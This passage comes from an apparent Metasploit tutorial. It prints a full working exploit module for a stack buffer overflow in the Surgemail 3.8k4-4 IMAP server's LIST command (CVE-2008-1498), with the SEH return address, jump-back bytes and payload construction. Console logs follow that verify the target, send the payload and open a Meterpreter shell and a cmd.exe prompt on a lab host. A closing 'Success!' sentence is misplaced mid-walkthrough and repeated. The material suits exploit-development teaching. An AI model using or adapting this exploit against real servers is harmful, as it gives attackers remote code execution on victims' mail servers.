Getting a Shell
With what we have learned, we write the exploit and save it to windows/imap/surgemail_list.rb. You can download the exploit here: ./msf/surgemail_list.rb.##
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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.milw0rm.com/exploits/5259' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 10351,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => true,
'BadChars' => "\x00"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connected = connect_login
nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_nops()
sjump = "\xEB\xF9\x90\x90" # Jmp Back
njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)
evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end
end
- We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, we'll pad the payload on our own.
- We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol.
- We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable.
- We defined a check function which can check the IMAP server banner in order to identify a vulnerable server and an exploit function that obviously is the one that does most of the work.
Let's see if it works:
msf > search surgemail
[*] Searching loaded modules for pattern 'surgemail'...
Exploits
========
Name Description
---- -----------
windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow
msf > use windows/imap/surgemail_list
msf exploit(surgemail_list) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
IMAPPASS test no The password for the specified username
IMAPUSER test no The username to authenticate as
RHOST 172.16.30.7 yes The target address
RPORT 143 yes The target port
Payload options (windows/shell/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 172.16.30.7 no The target address
Exploit target:
Id Name
-- ----
0 Windows Universal
Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for example). Now we check for the server version:
msf exploit(surgemail_list) > check
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[+] The target is vulnerable.
Yes! Now let's run the exploit attaching the debugger to the surgemail.exe process to see if the offset to overwrite SEH is correct:
root@bt:~$ ./msfcli exploit/windows/imap/surgemail_list PAYLOAD=windows/shell/bind_tcp RHOST=172.16.30.7 IMAPPWD=test IMAPUSER=test E
[*] Started bind handler
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Sending payload 
The offset is correct, we can now set a breakpoint at our return address:
Now we can redirect the execution flow into our buffer executing the POP POP RET instructions:
Success! We have fuzzed a vulnerable server and built a custom exploit using the amazing features offered by Metasploit.
and finally execute the two jumps on the stack which will land us inside our NOP sled:
So far so good, time to get our Meterpreter shell, let's rerun the exploit without the debugger:
msf exploit(surgemail_list) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(surgemail_list) > exploit
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Started bind handler
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Sending payload
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.16.30.34:63937 -> 172.16.30.7:4444)
meterpreter > execute -f cmd.exe -c -i
Process 672 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
c:\surgemail>
Success! We have fuzzed a vulnerable server and built a custom exploit using the amazing features offered by Metasploit.